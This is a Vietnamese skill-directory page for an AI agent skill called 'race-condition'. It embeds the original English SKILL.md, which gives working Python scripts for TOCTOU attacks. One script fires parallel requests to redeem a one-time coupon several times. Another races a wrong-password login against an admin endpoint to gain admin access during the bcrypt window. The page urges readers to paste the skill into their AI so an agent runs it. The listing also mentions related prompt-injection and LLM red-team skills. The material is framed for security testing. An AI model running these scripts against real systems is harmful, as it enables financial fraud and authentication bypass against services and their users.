race-condition
Skill này làm gì
Skill này giải thích cách các khoảng hở về thời gian trong ứng dụng web có thể bị lạm dụng bằng cách gửi yêu cầu cùng lúc. Dành cho người kiểm thử bảo mật kiểm tra thanh toán, mã giảm giá và logic phiên.
Khi nào nên dùng
- ✓Khi một mã giảm giá, số dư hoặc giao dịch có thể được dùng nhiều lần với các yêu cầu đồng thời.
- ✓Khi một luồng đăng nhập hoặc phiên ghi dữ liệu trước khi kiểm tra và bạn muốn kiểm tra thời gian.
- ✓Khi một rà soát bảo mật hỏi liệu việc kiểm tra và cập nhật có xảy ra trong một bước không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem mã giảm giá của tôi có thể dùng hai lần nếu tôi gửi yêu cầu nhiều lần cùng lúc không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi nhiều yêu cầu tương tự cùng lúc và so sánh kết quả để xem một kiểm tra có vượt qua nhiều lần trước khi thay đổi được lưu không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Race Conditions (TOCTOU)
Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable.
Recognition Signals
Trigger this skill when ANY of the following are present:
- Slow auth path: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.
session[k] = form[k]BEFORE validation: e.g. login writessession["user"] = posted_usernamebefore checking the password — the session row carries attacker-chosen state during the bcrypt sleep.- Check-then-act money flows: balance/quota/coupon/transfer endpoints that do
if x.balance >= n: x.balance -= nwithout a single atomic UPDATE-with-WHERE-balance>=n. - Idempotency-key-less POSTs to mutating endpoints — same payload N times in parallel produces N writes.
- Challenge tag includes
race_condition,toctou,concurrent,last-write-wins, ordouble-spend. (Note:smuggling_desyncis a parser-disagreement attack, NOT a race — route to/skills/standard/exploit/web/smuggling/SKILL.md.) - Session-coupled endpoints: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.
Single-Endpoint Race — Double Submit
Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.
# python3 -c "$(cat << 'PY' ... PY)" — keep timeout ≤ 5s, count ≤ 30
python3 - <<'PY'
import concurrent.futures, requests, sys
URL = "https://<TARGET>/redeem"
COOKIES = {"session": "<SESSION>"}
PAYLOAD = {"coupon": "ONETIME50"}
N = 20
def fire(_):
return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code
with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:
codes = list(ex.map(fire, range(N)))
print("status counts:", {c: codes.count(c) for c in set(codes)})
print("non-error wins:", sum(1 for c in codes if 200 <= c < 300))
PY
Win condition: more than one 200/201 for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance/redemption history AFTER the burst — multiple debits/credits = race won.
Verification (≥3 reproductions)
A single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes.
# Repeat the burst across 3 fresh trials
python3 - <<'PY'
import concurrent.futures, requests
# ... fire 20 parallel POSTs, count successes ...
# Run 3 times against reset state, log each trial's win count.
PY
Multi-Endpoint State-Leak Race
The high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet.
Pattern:
POST /loginwithusername=admin&password=wrong— server writessession["user"]="admin"BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).GET /admin_panel— checks onlysession["user"] == "admin".- During the bcrypt window,
/admin_panelreturns admin content. After bcrypt,/loginclears the session and returns 401.
python3 - <<'PY'
import concurrent.futures, requests, time
S = requests.Session()
LOGIN = "https://<TARGET>/login"
TARGET = "https://<TARGET>/admin_panel"
CREDS = {"username": "admin", "password": "wrong"}
def hit_login():
return S.post(LOGIN, data=CREDS, timeout=5).status_code
def hit_target():
# Stagger by ~50ms so the read lands inside the bcrypt window
time.sleep(0.05)
r = S.get(TARGET, timeout=5)
return r.status_code, len(r.content), r.text[:200]
with concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:
f1 = ex.submit(hit_login)
f2 = ex.submit(hit_target)
print("login:", f1.result())
print("target:", f2.result())
PY
Tune the stagger (time.sleep) to fit the slow-op latency you measured during recon. Always rely on recon's "Session-write
Câu hỏi thường gặp
TOCTOU bug là gì?
Đó là khoảng hở giữa thời điểm kiểm tra và thời điểm sử dụng, khi ứng dụng kiểm tra một điều kiện rồi hành động sau đó, lúc điều kiện có thể đã thay đổi.
Nó có bao gồm đăng nhập chậm không?
Có. Skill nhắc đến việc băm mật khẩu chậm như thứ có thể làm rộng khoảng thời gian.
Đây có giống request smuggling không?
Không. Skill nói rằng smuggling là cuộc tấn công do bất đồng giữa các bộ phân tích và thuộc về một skill khác.
Chi tiết
Mô tả gốc của tác giả
Race condition / TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14077
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.